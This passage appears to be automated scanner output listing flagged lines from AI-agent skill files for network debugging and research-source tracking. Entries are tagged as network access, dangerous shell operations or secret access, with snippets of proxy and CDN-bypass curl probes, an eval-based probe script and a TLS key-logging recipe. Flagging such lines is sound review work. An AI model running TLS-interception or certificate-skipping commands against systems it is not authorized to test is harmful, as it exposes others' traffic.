    # --max-time aborts mid-transfer; -w still prints, and curl exits 28. That is a
  • Network accessline 219
    # successful measurement, not a failure — read the rate, ignore the exit code here. curl -s -o /dev/null --max-time "$BUDGET" \   -w 'A: %{size_download} B in %{time_total}s = %{speed_download} B/s\n' \
  • Network accessline 220
    curl -s -o /dev/null --max-time "$BUDGET" \
  • Network accessline 236
    - **Channel A**: is `size_download` close to the object's real size? A DNS failure (curl exit 6), a refused connection (exit 7), or a 404 error page all return quickly and tiny — which can even read as *fast* and land you in the wrong row f
  • Network accessline 428
    10. **Edge timeouts masquerading as upstream client aborts.** A 524 from Cloudflare can cause the origin proxy (Caddy/nginx) to log the upstream connection as a "client abort" (`status=0`, `Client request error: aborted`). The abort is real
  • Network accessline 429
    11. **Assuming a top-of-list proxy rule beats CNAME matching.** Proxy clients that resolve CNAMEs may apply rules to the resolved CNAME chain, not just the original hostname. A `DOMAIN-SUFFIX,<cname-suffix>,DIRECT` rule can override an expl
  • Network accessline 430
    12. **Proxy-node DNS = client DNS.** The proxy node may resolve a hostname differently than the client. A client-side DoH query can return a working IP while the proxy node returns a blocked or non-routable IP. Test with `curl -x proxy -H '
  • Access to secretsline 431
    [Credential-related source omitted]
  • Network accessline 457
    3. **Proxy port**: Is the local proxy listening? `lsof -P -i TCP:<port>` confirms. Test both with and without it. 4. **Hostname vs IP through proxy**:    - `curl -x http://127.0.0.1:<port> -I https://<host>`
  • Network accessline 458
    4. **Hostname vs IP through proxy**:    - `curl -x http://127.0.0.1:<port> -I https://<host>`    - Resolve the host yourself (DoH), then `curl -x http://127.0.0.1:<port> -k -H 'Host: <host>' -I https://<ip>`
  • Network accessline 459
    - `curl -x http://127.0.0.1:<port> -I https://<host>`
  • Network accessline 460
    - Resolve the host yourself (DoH), then `curl -x http://127.0.0.1:<port> -k -H 'Host: <host>' -I https://<ip>`

debugging-network-issues/references/case-cloudflare-524-upload.md

  • Network accessline 10
    {   "type": "https://developers.cloudflare.com/support/troubleshooting/http-status-codes/cloudflare-5xx-errors/error-524/",
  • Network accessline 11
    "type": "https://developers.cloudflare.com/support/troubleshooting/http-status-codes/cloudflare-5xx-errors/error-524/",

debugging-network-issues/references/case-iot-router-migration-wpa3.md

  • Network accessline 26
    arp -an | grep -v incomplete # OUI → vendor curl -s https://api.macvendors.com/54:ef:44
  • Network accessline 28
    curl -s https://api.macvendors.com/54:ef:44
  • Dangerous shell operationline 63
    - `system_profiler SPAirPortDataType` (macOS) — the AP's real beacon parameters: security, band, channel. Caveat: it reports the network *this machine is associated to* — if your laptop is on Ethernet or a different SSID, read the AP's admi

debugging-network-issues/references/case-proxy-tun-cname-override.md

  • Network accessline 63
    Observation: `curl -x http://127.0.0.1:<proxy-port> https://<auth-domain>` returns `SSL_ERROR_SYSCALL` after the proxy tunnel is established.
  • Network accessline 76
    curl -sS -x http://127.0.0.1:<proxy-port> \
  • Network accessline 77
    'https://dns.google/resolve?name=<auth-domain>&type=A'
  • Network accessline 84
    | Path | Command | Result | |------|---------|--------| | A | `curl -x http://127.0.0.1:<proxy-port> -I https://<auth-domain>` | `SSL_ERROR_SYSCALL` |
  • Network accessline 85
    |------|---------|--------| | A | `curl -x http://127.0.0.1:<proxy-port> -I https://<auth-domain>` | `SSL_ERROR_SYSCALL` | | B | `curl -x http://127.0.0.1:<proxy-port> -k -H 'Host: <auth-domain>' -I https://<working-ip>` | `HTTP/1.1 200 OK`
  • Network accessline 86
    | A | `curl -x http://127.0.0.1:<proxy-port> -I https://<auth-domain>` | `SSL_ERROR_SYSCALL` |
  • Network accessline 87
    | B | `curl -x http://127.0.0.1:<proxy-port> -k -H 'Host: <auth-domain>' -I https://<working-ip>` | `HTTP/1.1 200 OK` |
  • Network accessline 93
    | Path | Command | Result | |------|---------|--------| | C | Force route to physical interface `en0`, then curl `<auth-domain>` | `Time to live exceeded` — local ISP cannot reach `<working-ip>` |
  • Network accessline 94
    |------|---------|--------| | C | Force route to physical interface `en0`, then curl `<auth-domain>` | `Time to live exceeded` — local ISP cannot reach `<working-ip>` | | D | Default route through TUN, curl to `<auth-domain>` with `/etc/hos
  • Network accessline 95
    | C | Force route to physical interface `en0`, then curl `<auth-domain>` | `Time to live exceeded` — local ISP cannot reach `<working-ip>` |
  • Network accessline 96
    | D | Default route through TUN, curl to `<auth-domain>` with `/etc/hosts` mapped to `<working-ip>` | `HTTP/1.1 200 OK` |
  • Dangerous shell operationline 133
    sudo dscacheutil -flushcache

debugging-network-issues/references/case-sse-rst-130s.md

  • Network accessline 18
    The reporting user (handle: User A), using <cli-client> 2.1.116 on Windows (Node v24.3.0), submits long tasks via `ANTHROPIC_BASE_URL=https://api.example.com/openrouter`. Tasks involving Claude <model-name> + long tool_use (writing long fil
  • Network accessline 21
    API Error: The socket connection was closed unexpectedly. For more information, pass `verbose: true` in the second argument to fetch()
  • Network accessline 22
    For more information, pass `verbose: true` in the second argument to fetch()
  • Network accessline 81
    Falsification: A probe from the server itself, `curl --resolve api.example.com:443:127.0.0.1 https://api.example.com/<openrouter-path> ...`, runs for 200+ seconds without closing. This path goes through Caddy (just not through CF). If Caddy
  • Network accessline 109
    3. **Three paths**, run in parallel:    - **Path A** (via CF): `curl https://test-idle.example.com/...`
  • Network accessline 110
    - **Path A** (via CF): `curl https://test-idle.example.com/...`
  • Network accessline 111
    - **Path B** (bypass CF): `env -i curl --resolve test-idle.example.com:443:203.0.113.10 ...`
  • Network accessline 112
    - **Path C** (server loopback): `ssh server 'curl http://127.0.0.1:19999/probe-c'`
  • Network accessline 116
    | Path          | Close time                          | Curl error                                                     |
  • Network accessline 117
    | ------------- | ----------------------------------- | -------------------------------------------------------------- | | A (via CF)    | 126.01s                             | HTTP/2 stream 1 was not closed cleanly: INTERNAL_ERROR (err 2) 
  • Network accessline 118
    | A (via CF)    | 126.01s                             | HTTP/2 stream 1 was not closed cleanly: INTERNAL_ERROR (err 2) | | B (bypass CF) | 220s (clean, hit client --max-time) | none (curl side closed on --max-time)                          
  • Network accessline 119
    | B (bypass CF) | 220s (clean, hit client --max-time) | none (curl side closed on --max-time)                          |
  • Network accessline 128
    The first run of Path B appeared to close at 126s too, which would have falsely implicated the origin. Investigation revealed the client machine had a system-level Shadowrocket proxy on `http_proxy=http://127.0.0.1:1082` that was silently r
  • Network accessline 130
    This is **Trap 5** (probe self-verification) caught in real time. Mitigation: `env -i curl ...` is now a mandatory reflex when running bypass-comparison experiments.

debugging-network-issues/references/device-throughput-fieldwork.md

  • Network accessline 83
    Before any disruptive change, resolve **tunnel-doctor** and load its [network-change recovery contract](https://github.com/daymade/claude-code-skills/blob/main/tunnel-doctor/references/network_change_recovery.md).
  • Network accessline 84
    [network-change recovery contract](https://github.com/daymade/claude-code-skills/blob/main/tunnel-doctor/references/network_change_recovery.md).
  • Network accessline 131
    - [HTTP safe-method semantics](https://www.rfc-editor.org/rfc/rfc9110.html#section-9.2.1)
  • Network accessline 132
    define intended method semantics; inspect an unfamiliar implementation's effects. - [Linux wireless `iw` documentation](https://wireless.docs.kernel.org/en/latest/en/users/documentation/iw.html)   describes live link and station observation
  • Network accessline 133
    - [Linux wireless `iw` documentation](https://wireless.docs.kernel.org/en/latest/en/users/documentation/iw.html)
  • Network accessline 134
    describes live link and station observations. - [NetworkManager checkpoint API](https://networkmanager.dev/docs/api/latest/gdbus-org.freedesktop.NetworkManager.html)   defines checkpoint and rollback interfaces; verify the target's actual r
  • Network accessline 135
    - [NetworkManager checkpoint API](https://networkmanager.dev/docs/api/latest/gdbus-org.freedesktop.NetworkManager.html)

debugging-network-issues/references/http-response-completeness.md

  • Network accessline 26
    The [Python documentation](https://docs.python.org/3.12/library/http.client.html#http.client.HTTPResponse.read)
  • Network accessline 27
    describes a bounded read as returning up to the requested amount. The [CPython 3.12.13 implementation](https://github.com/python/cpython/blob/v3.12.13/Lib/http/client.py) retains the remaining framed length after a bounded read; its unbound
  • Network accessline 28
    [CPython 3.12.13 implementation](https://github.com/python/cpython/blob/v3.12.13/Lib/http/client.py)
  • Network accessline 39
    import http.client
  • Network accessline 45
    raise ValueError("response_too_large")     if response.length is not None and response.length != 0:         raise http.client.IncompleteRead(body, response.length)
  • Network accessline 46
    if response.length is not None and response.length != 0:         raise http.client.IncompleteRead(body, response.length)     return json.loads(body)
  • Network accessline 47
    raise http.client.IncompleteRead(body, response.length)

debugging-network-issues/references/instrumentation-patterns.md

  • Access to secretsline 98
    [Credential-related source omitted]

debugging-network-issues/references/layered-isolation-experiment.md

  • Network accessline 26
    | ----- | ------------- | ----------------------------- | | **A** | Client → CDN → LB → Origin | Baseline: reproduce the symptom | | **B** | Client → Origin directly (e.g., `curl --resolve host:443:origin-ip`) | Bypass both CDN and LB, plus
  • Network accessline 27
    | **A** | Client → CDN → LB → Origin | Baseline: reproduce the symptom | | **B** | Client → Origin directly (e.g., `curl --resolve host:443:origin-ip`) | Bypass both CDN and LB, plus their connecting route | | **C** | Server loopback (`curl
  • Network accessline 28
    | **B** | Client → Origin directly (e.g., `curl --resolve host:443:origin-ip`) | Bypass both CDN and LB, plus their connecting route |
  • Network accessline 29
    | **C** | Server loopback (`curl http://127.0.0.1:port/...` on the origin host itself) | Also remove the external client-to-origin route; name any local proxy still traversed |
  • Network accessline 69
    --------------|------------------|---------------------|-------------------| Result        | RST @ 126s       | Clean @ 220s        | Clean @ 220s      | Observed by   | curl + server    | curl + server       | curl + server     |
  • Network accessline 71
    Observed by   | curl + server    | curl + server       | curl + server     |
  • Network accessline 74
    Always record observations from both ends (curl-side time_total AND server-side peer-close timestamp). Discrepancies between the two are themselves diagnostic: if curl reports a close at 69s but the server saw the connection alive for 126s,
  • Network accessline 134
    **Mitigation**: use `env -i curl` to strip the environment before running the probe, and explicitly unset `http_proxy / https_proxy / HTTP_PROXY / HTTPS_PROXY / ALL_PROXY / NO_PROXY`. Verify the path with `curl -v` and check the `* Trying I
  • Network accessline 140
    contamination. A fresh container can inherit a different proxy from the production container. Exercise the positive control through the same client and proxy policy as the failing probe. A direct host curl cannot validate a proxied containe
  • Network accessline 141
    container. Exercise the positive control through the same client and proxy policy as the failing probe. A direct host curl cannot validate a proxied container client. Restore the intended production policy in the probe before drawing
  • Network accessline 142
    as the failing probe. A direct host curl cannot validate a proxied container
  • Network accessline 147
    Real example from this case study: run 1 Path B appeared to fail at 126s, which would have falsely implicated the origin. It turned out the client's Shadowrocket was proxying localhost-targeted requests back through Cloudflare. `env -i curl
  • Network accessline 151
    If the probe depends on the infrastructure being tested, its output is not independent evidence. Example: running `mtr` through the CDN to test CDN behavior — if the CDN drops ICMP, mtr shows gaps that look like the symptom but are artifact
  • Network accessline 155
    When the target runs in Docker, Path C (loopback) behavior differs depending on whether you run `curl` from the host or from inside the container. Host `curl localhost:3002` may hit a port-mapped container, while container-internal `curl lo
  • Network accessline 197
    For each path, record at minimum: HTTP status code, total elapsed time, bytes received, close reason (if available from curl or tcpdump). Paths that all return "success" but with vastly different byte counts hint at partial-response truncat

debugging-network-issues/references/packet-capture-recipes.md

  • Network accessline 92
    | Failure                          | TCP layer shows                          | HTTP/2 layer shows                 | curl reports                                                     |
  • Network accessline 97
    The case study was the second kind: `tcpdump` showed no TCP RST on the client→origin path but curl reported `HTTP/2 stream 1 was not closed cleanly: INTERNAL_ERROR (err 2)`. The reset was a peer-initiated HTTP/2 `RST_STREAM`, sent as a data
  • Network accessline 103
    1. Confirm the selected curl TLS backend supports `SSLKEYLOGFILE`, set the local
  • Network accessline 104
    parameters `key_log_path` and `authorized_test_url`, then run    `SSLKEYLOGFILE="$key_log_path" curl "$authorized_test_url"`. Verify that it wrote    keys for the captured run; setting the variable alone does not prove key logging.
  • Network accessline 105
    `SSLKEYLOGFILE="$key_log_path" curl "$authorized_test_url"`. Verify that it wrote
  • Network accessline 156
    For direct WireGuard transport-data packets, the public [protocol specification](https://www.wireguard.com/protocol/) defines a 16-byte
  • Network accessline 157
    [protocol specification](https://www.wireguard.com/protocol/) defines a 16-byte

debugging-network-issues/scripts/layered-isolation-probe.sh

  • Executable scriptline 1
    #!/usr/bin/env bash
  • Network accessline 12
    #   HOST=test-idle.example.com  #   ORIGIN_IP=203.0.113.10  #   SERVER_SSH=root@203.0.113.10  #   LOOPBACK_URL=http://127.0.0.1:19999/probe-c
  • Network accessline 13
    #   ORIGIN_IP=203.0.113.10 \ #   SERVER_SSH=root@203.0.113.10 \ #   LOOPBACK_URL=http://127.0.0.1:19999/probe-c \
  • Network accessline 14
    #   SERVER_SSH=root@203.0.113.10 \ #   LOOPBACK_URL=http://127.0.0.1:19999/probe-c \ #   MAX_SECONDS=300 \
  • Network accessline 15
    #   LOOPBACK_URL=http://127.0.0.1:19999/probe-c \
  • Network accessline 25
    : "${ORIGIN_IP:?Set ORIGIN_IP, the real IP of the origin host}" : "${SERVER_SSH:?Set SERVER_SSH, e.g. root@origin.example.com}" : "${LOOPBACK_URL:?Set LOOPBACK_URL, e.g. http://127.0.0.1:19999/probe-c}"
  • Network accessline 26
    : "${SERVER_SSH:?Set SERVER_SSH, e.g. root@origin.example.com}" : "${LOOPBACK_URL:?Set LOOPBACK_URL, e.g. http://127.0.0.1:19999/probe-c}" MAX_SECONDS="${MAX_SECONDS:-300}"
  • Network accessline 27
    : "${LOOPBACK_URL:?Set LOOPBACK_URL, e.g. http://127.0.0.1:19999/probe-c}"
  • Dangerous shell operationline 58
    eval "$cmd" > "$out" 2> "$err"
  • Network accessline 81
    PATH_A_CMD="$STRIP_ENV curl $CURL_COMMON https://$HOST/probe-a"
  • Network accessline 84
    PATH_B_CMD="$STRIP_ENV curl $CURL_COMMON --resolve $HOST:443:$ORIGIN_IP https://$HOST/probe-b"
  • Network accessline 87
    PATH_C_CMD="ssh $SERVER_SSH \"$STRIP_ENV curl -sS -o /tmp/__probe_c_body -w 'HTTP=%{http_code}\nTIME=%{time_total}\nERRCODE=%{exitcode}\nERRMSG=%{errormsg}\n' --max-time $MAX_SECONDS $LOOPBACK_URL\""
  • Network accessline 92
    run_path A "via CDN (baseline — expected to fail)" "$PATH_A_CMD"
  • Network accessline 93
    sleep 5 run_path B "direct origin (--resolve; also bypasses a separate LB)" "$PATH_B_CMD" sleep 5
  • Network accessline 94
    run_path B "direct origin (--resolve; also bypasses a separate LB)" "$PATH_B_CMD"
  • Network accessline 96
    run_path C "server loopback (inside origin)"       "$PATH_C_CMD"
  • Network accessline 111
    echo "- All three run to MAX_SECONDS: failure did not reproduce" echo "- Path B unexpectedly short-closes: CHECK FOR LOCAL PROXY LEAKAGE" echo "  (env -i above should prevent, but verify with 'curl -v' if in doubt)"
  • Network accessline 112
    echo "- Path B unexpectedly short-closes: CHECK FOR LOCAL PROXY LEAKAGE" echo "  (env -i above should prevent, but verify with 'curl -v' if in doubt)" echo "- Intermittent contrast: return to original A within a set budget; A passing leaves
  • Network accessline 113
    echo "  (env -i above should prevent, but verify with 'curl -v' if in doubt)"

debugging-network-issues/scripts/mock-idle-upstream.py

  • Executable scriptline 1
    #!/usr/bin/env python3

deep-research/references/parallel-provider-ops.md

  • Network accessline 24
    Create a claim-by-source matrix rather than voting over provider conclusions. Record which lane first surfaced a claim, the underlying original URL or document, its date, what the source can observe, a counterexample, and verification statu

deep-research/references/provider-run-contract.md

  • Network accessline 11
    "as_of": "2026-09-25",   "business_outcome": "Find out whether timely evidence changes a user's decision and its result.",   "dispatch_context": "Seed: https://example.org/case; target: Example Co (EX01); window: 2026 H1.",
  • Network accessline 12
    "business_outcome": "Find out whether timely evidence changes a user's decision and its result.",   "dispatch_context": "Seed: https://example.org/case; target: Example Co (EX01); window: 2026 H1.",   "request_mode_contract": {
  • Network accessline 13
    "dispatch_context": "Seed: https://example.org/case; target: Example Co (EX01); window: 2026 H1.",   "request_mode_contract": {     "basis": {"kind":"user", "path":"sources/requests/request.txt", "sha256":"<SHA-256 of original request.txt>"
  • Network accessline 22
    "decision_questions": [{"id":"Q1","question":"Which decision could this evidence change?"}],   "lanes": [     {"lane_id":"chatgpt-pro","provider":"chatgpt","mode":"pro-chat","task_id":"Q1","prompt":"Seed: https://example.org/case; target: E
  • Network accessline 23
    "lanes": [     {"lane_id":"chatgpt-pro","provider":"chatgpt","mode":"pro-chat","task_id":"Q1","prompt":"Seed: https://example.org/case; target: Example Co (EX01); window: 2026 H1. Assess the strongest counterevidence."},     {"lane_id":"cha
  • Network accessline 24
    {"lane_id":"chatgpt-pro","provider":"chatgpt","mode":"pro-chat","task_id":"Q1","prompt":"Seed: https://example.org/case; target: Example Co (EX01); window: 2026 H1. Assess the strongest counterevidence."},
  • Network accessline 25
    {"lane_id":"chatgpt-deep","provider":"chatgpt","mode":"deep-research","task_id":"Q1","prompt":"Seed: https://example.org/case; target: Example Co (EX01); window: 2026 H1. Trace the original sources."}
  • Network accessline 68
    {"at":"2026-09-25T14:00:00+08:00","lane_id":"kimi-deep","state":"collected","origin":{"session_url":"https://kimi.com/chat/EXAMPLE"},"artifact":{"path":"sources/kimi-deep/report.md","sha256":"0123456789abcdef0123456789abcdef0123456789abcdef

deep-research/references/research-asset-contract.md

  • Network accessline 5
    The useful unit for later research is a **source-bound claim with a date and limit**, not a model's report. Keep provider outputs unchanged; a prior model conclusion stays a lead until its underlying source is reopened. The source, research

deep-research/references/source_quality_rubric.md

  • Network accessline 53
    - [Cochrane Handbook, Chapter 4: Searching for and selecting studies](https://training.cochrane.org/handbook/current/chapter-04) — plan searches from eligibility criteria, document the search, balance sensitivity and precision, and treat th
  • Network accessline 54
    - [U.S. GAO, Assessing Data Reliability](https://www.gao.gov/assets/710/706666.pdf) — assess reliability in the context of the intended use and increase scrutiny when data alone carries a finding; look for independent corroboration.
  • Network accessline 55
    - [SEC EDGAR search guidance](https://www.sec.gov/search-filings/edgar-search-assistance/how-do-i-use-edgar) — use real-time filings and exact filer identifiers for company disclosure research.
  • Network accessline 56
    - [USAspending Advanced Search and data disclosures](https://www.usaspending.gov/search) — use procurement award records with their published data-source and quality disclosures.
  • Network accessline 57
    - [GOV.UK Contracts Finder](https://www.gov.uk/contracts-finder) — search public opportunities, tender details, and awarded contracts as buyer-side procurement evidence.

deep-research/scripts/provider_runs.py

  • Executable scriptline 1
    #!/usr/bin/env python3

deep-research/scripts/research_assets.py

  • Executable scriptline 1
    #!/usr/bin/env python3

deep-research/tests/test_provider_runs.py

  • Executable scriptline 1
    Executable file
  • Network accessline 90
    def test_persistent_session_alias_keeps_submission_identity_and_drives_resume(self):         proof = self.study / "sources" / "same-session.json"         proof.write_text('{"submitted":"https://example.org/chat/provisional",'
  • Network accessline 91
    proof = self.study / "sources" / "same-session.json"         proof.write_text('{"submitted":"https://example.org/chat/provisional",'                          '"persistent":"https://example.org/chat/persistent"}', encoding="utf-8")
  • Network accessline 92
    proof.write_text('{"submitted":"https://example.org/chat/provisional",'
  • Network accessline 93
    '"persistent":"https://example.org/chat/persistent"}', encoding="utf-8")
  • Network accessline 94
    original = "https://example.org/chat/provisional"
  • Network accessline 95
    persistent = "https://example.org/chat/persistent"
  • Network accessline 126
    proof = self.study / "sources" / "same-session.json"         proof.write_text("observed redirect", encoding="utf-8")         old = "https://example.org/chat/old"
  • Network accessline 127
    proof.write_text("observed redirect", encoding="utf-8")         old = "https://example.org/chat/old"         self.assertEqual(self.cli("record", self.study, "vendor-deep", "prepared").returncode, 0)
  • Network accessline 128
    old = "https://example.org/chat/old"
  • Network accessline 131
    "--origin-url", old).returncode, 0)         self.assertEqual(self.cli("record", self.study, "vendor-deep", "running",                                   "--origin-url", old, "--alias-url", "https://example.org/chat/old-permanent",
  • Network accessline 132
    self.assertEqual(self.cli("record", self.study, "vendor-deep", "running",                                   "--origin-url", old, "--alias-url", "https://example.org/chat/old-permanent",                                   "--alias-proof", pro
  • Network accessline 133
    "--origin-url", old, "--alias-url", "https://example.org/chat/old-permanent",
  • Network accessline 135
    self.assertEqual(self.cli("record", self.study, "vendor-deep", "failed_unknown",                                   "--note", "Old task result cannot be established").returncode, 0)         new = "https://example.org/chat/new"
  • Network accessline 136
    "--note", "Old task result cannot be established").returncode, 0)         new = "https://example.org/chat/new"         self.assertEqual(self.cli("record", self.study, "vendor-deep", "submitted",
  • Network accessline 137
    new = "https://example.org/chat/new"

deep-research/tests/test_research_assets.py

  • Executable scriptline 1
    Executable file
  • Network accessline 26
    "as_of": "2026-09-26",             "business_outcome": "Explain a fund filing with traceable evidence",             "dispatch_context": "Target: Fund Alpha (FA01); seed: https://example.org/report.pdf",
  • Network accessline 27
    "business_outcome": "Explain a fund filing with traceable evidence",             "dispatch_context": "Target: Fund Alpha (FA01); seed: https://example.org/report.pdf",             "decision_questions": [{"id": "Q1", "question": "What change
  • Network accessline 28
    "dispatch_context": "Target: Fund Alpha (FA01); seed: https://example.org/report.pdf",
  • Network accessline 30
    "lanes": [{"lane_id": "official", "provider": "direct",                        "mode": "primary-source", "task_id": "Q1",                        "prompt": "Target: Fund Alpha (FA01); seed: https://example.org/report.pdf. Open the issuer fil
  • Network accessline 31
    "mode": "primary-source", "task_id": "Q1",                        "prompt": "Target: Fund Alpha (FA01); seed: https://example.org/report.pdf. Open the issuer filing"}],         }), encoding="utf-8")
  • Network accessline 32
    "prompt": "Target: Fund Alpha (FA01); seed: https://example.org/report.pdf. Open the issuer filing"}],
  • Network accessline 71
    def source(self, url="https://example.org/report.pdf", status="approved", **kwargs):
  • Network accessline 80
    def claim(self, study=None, url="https://example.org/report.pdf"):
  • Network accessline 90
    outside_report = self.root / "answer.md"         outside_report.write_text("See [C1] https://example.org/report.pdf", encoding="utf-8")
  • Network accessline 91
    outside_report.write_text("See [C1] https://example.org/report.pdf", encoding="utf-8")
  • Network accessline 102
    self.collect("Official filing: https://example.org/report.pdf")
  • Network accessline 157
    report = self.study / "report.md"         self.assertEqual(self.claim().returncode, 0)         report.write_text("See [C1] https://example.org/report.pdf and https://example.org/other",
  • Network accessline 158
    self.assertEqual(self.claim().returncode, 0)         report.write_text("See [C1] https://example.org/report.pdf and https://example.org/other",                           encoding="utf-8")
  • Network accessline 159
    report.write_text("See [C1] https://example.org/report.pdf and https://example.org/other",
  • Network accessline 162
    self.assertEqual(missing.returncode, 2)         self.assertIn("report URLs lack approved", missing.stderr)         report.write_text("See [C1] https://example.org/report.pdf", encoding="utf-8")
  • Network accessline 163
    self.assertIn("report URLs lack approved", missing.stderr)         report.write_text("See [C1] https://example.org/report.pdf", encoding="utf-8")         self.assertEqual(self.cli(ASSETS, "check", self.study, "--report", report).returncode,
  • Network accessline 164
    report.write_text("See [C1] https://example.org/report.pdf", encoding="utf-8")
  • Network accessline 173
    def test_provider_links_are_harvested_without_becoming_verified(self):         self.start()         self.collect("Sources: https://example.org/report.pdf https://example.org/lead")
  • Network accessline 174
    self.start()         self.collect("Sources: https://example.org/report.pdf https://example.org/lead")         original = self.root / "report.pdf"
  • Network accessline 175
    self.collect("Sources: https://example.org/report.pdf https://example.org/lead")
  • Network accessline 179
    self.assertEqual(self.claim().returncode, 0)         report = self.study / "report.md"         report.write_text("[C1] https://example.org/report.pdf", encoding="utf-8")
  • Network accessline 180
    report = self.study / "report.md"         report.write_text("[C1] https://example.org/report.pdf", encoding="utf-8")         unrecorded = self.cli(ASSETS, "check", self.study, "--report", report)
  • Network accessline 181
    report.write_text("[C1] https://example.org/report.pdf", encoding="utf-8")
  • Network accessline 187
    self.assertIn("harvested 1", harvested.stdout)         self.assertEqual(self.cli(ASSETS, "check", self.study, "--report", report).returncode, 0)         report.write_text("[C1] https://example.org/lead", encoding="utf-8")
  • Network accessline 188
    self.assertEqual(self.cli(ASSETS, "check", self.study, "--report", report).returncode, 0)         report.write_text("[C1] https://example.org/lead", encoding="utf-8")         lead_cited = self.cli(ASSETS, "check", self.study, "--report", re
  • Network accessline 189
    report.write_text("[C1] https://example.org/lead", encoding="utf-8")
  • Network accessline 199
    self.collect("Official source already recorded")         html = self.study / "sources" / "rendered.html"         html.write_text('<link rel="icon" href="https://assets.example/favicon.ico">'
  • Network accessline 200
    html = self.study / "sources" / "rendered.html"         html.write_text('<link rel="icon" href="https://assets.example/favicon.ico">'                         '<svg xmlns="http://www.w3.org/2000/svg"></svg>'
  • Network accessline 201
    html.write_text('<link rel="icon" href="https://assets.example/favicon.ico">'
  • Network accessline 202
    '<svg xmlns="http://www.w3.org/2000/svg"></svg>'
  • Network accessline 203
    '<script>const image="https://assets.example/script.png";</script>'
  • Network accessline 204
    '<a href="https://example.org/lead">candidate citation</a>'
  • Network accessline 205
    '<p>Visible source: https://example.org/visible</p>', encoding="utf-8")
  • Network accessline 210
    self.assertIn("harvested 2", harvested.stdout)         urls = [json.loads(line)["url"] for line in (self.study / "source-ledger.jsonl").read_text().splitlines()]         self.assertIn("https://example.org/lead", urls)
  • Network accessline 211
    urls = [json.loads(line)["url"] for line in (self.study / "source-ledger.jsonl").read_text().splitlines()]         self.assertIn("https://example.org/lead", urls)         self.assertIn("https://example.org/visible", urls)
  • Network accessline 212
    self.assertIn("https://example.org/lead", urls)
  • Network accessline 213
    self.assertIn("https://example.org/visible", urls)
  • Network accessline 214
    self.assertNotIn("https://assets.example/favicon.ico", urls)
  • Network accessline 215
    self.assertNotIn("https://assets.example/script.png", urls)
  • Network accessline 216
    self.assertNotIn("http://www.w3.org/2000/svg", urls)
  • Network accessline 221
    original.write_bytes(b"%PDF-example-source")         self.assertEqual(self.source(file=original).returncode, 0)         self.collect("Provider found https://example.org/report.pdf")
  • Network accessline 222
    self.assertEqual(self.source(file=original).returncode, 0)         self.collect("Provider found https://example.org/report.pdf")         harvested = self.cli(ASSETS, "harvest", self.study)
  • Network accessline 223
    self.collect("Provider found https://example.org/report.pdf")
  • Network accessline 236
    other = self.root / "other.pdf"         other.write_bytes(b"%PDF-unrelated-source")         self.assertEqual(self.source(url="https://example.org/other.pdf", file=other).returncode, 0)
  • Network accessline 237
    other.write_bytes(b"%PDF-unrelated-source")         self.assertEqual(self.source(url="https://example.org/other.pdf", file=other).returncode, 0)         self.assertEqual(self.claim().returncode, 0)
  • Network accessline 238
    self.assertEqual(self.source(url="https://example.org/other.pdf", file=other).returncode, 0)
  • Network accessline 239
    self.assertEqual(self.claim().returncode, 0)         report = self.study / "report.md"         report.write_text("The filing proves it [C1]. https://example.org/other.pdf", encoding="utf-8")
  • Network accessline 240
    report = self.study / "report.md"         report.write_text("The filing proves it [C1]. https://example.org/other.pdf", encoding="utf-8")         mismatch = self.cli(ASSETS, "check", self.study, "--report", report)
  • Network accessline 241
    report.write_text("The filing proves it [C1]. https://example.org/other.pdf", encoding="utf-8")
  • Network accessline 243
    self.assertEqual(mismatch.returncode, 2)         self.assertIn("lacks its bound original", mismatch.stderr)         report.write_text("The filing proves it [C1]. https://example.org/report.pdf", encoding="utf-8")
  • Network accessline 244
    self.assertIn("lacks its bound original", mismatch.stderr)         report.write_text("The filing proves it [C1]. https://example.org/report.pdf", encoding="utf-8")         self.assertEqual(self.cli(ASSETS, "check", self.study, "--report", r
  • Network accessline 245
    report.write_text("The filing proves it [C1]. https://example.org/report.pdf", encoding="utf-8")
  • Network accessline 254
    other.write_bytes(b"%PDF-other-source")         self.assertEqual(self.source(file=original).returncode, 0)         self.assertEqual(self.source(url="https://example.org/other.pdf", file=other).returncode, 0)
  • Network accessline 255
    self.assertEqual(self.source(file=original).returncode, 0)         self.assertEqual(self.source(url="https://example.org/other.pdf", file=other).returncode, 0)         sid_a = hashlib.sha256(b"https://example.org/report.pdf").hexdigest()[:2
  • Network accessline 256
    self.assertEqual(self.source(url="https://example.org/other.pdf", file=other).returncode, 0)
  • Network accessline 257
    sid_a = hashlib.sha256(b"https://example.org/report.pdf").hexdigest()[:20]
  • Network accessline 258
    sid_b = hashlib.sha256(b"https://example.org/other.pdf").hexdigest()[:20]
  • Network accessline 262
    "--locator", "page 4", "--boundary", "Two reports only").returncode, 0)         report = self.study / "report.md"         report.write_text("Finding [C1] [A](https://example.org/report.pdf)、[B](https://example.org/other.pdf)", encoding="utf
  • Network accessline 263
    report = self.study / "report.md"         report.write_text("Finding [C1] [A](https://example.org/report.pdf)、[B](https://example.org/other.pdf)", encoding="utf-8")         checked = self.cli(ASSETS, "check", self.study, "--report", report)
  • Network accessline 264
    report.write_text("Finding [C1] [A](https://example.org/report.pdf)、[B](https://example.org/other.pdf)", encoding="utf-8")
  • Network accessline 292
    self.spec.write_text(json.dumps(spec))         report = self.finish_valid()         sid = hashlib.sha256(b"https://example.org/report.pdf").hexdigest()[:20]
  • Network accessline 293
    report = self.finish_valid()         sid = hashlib.sha256(b"https://example.org/report.pdf").hexdigest()[:20]         self.assertEqual(self.cli(ASSETS, "claim", self.study, "--claim-id", "C2",
  • Network accessline 294
    sid = hashlib.sha256(b"https://example.org/report.pdf").hexdigest()[:20]
  • Network accessline 309
    self.spec.write_text(json.dumps(spec))         report = self.finish_valid()         self.assertEqual(self.source(url="https://assets.example/favicon", status="candidate").returncode, 0)
  • Network accessline 310
    report = self.finish_valid()         self.assertEqual(self.source(url="https://assets.example/favicon", status="candidate").returncode, 0)         self.assertEqual(self.cli(ASSETS, "register", self.study, "--catalog", self.catalog,
  • Network accessline 311
    self.assertEqual(self.source(url="https://assets.example/favicon", status="candidate").returncode, 0)
  • Network accessline 322
    def test_only_registration_changes_append_a_verifiable_event(self):         self.start()         self.collect("https://example.org/report.pdf")
  • Network accessline 323
    self.start()         self.collect("https://example.org/report.pdf")         original = self.root / "report.pdf"
  • Network accessline 324
    self.collect("https://example.org/report.pdf")
  • Network accessline 328
    self.assertEqual(self.claim().returncode, 0)         report = self.study / "report.md"         report.write_text("[C1] https://example.org/report.pdf", encoding="utf-8")
  • Network accessline 329
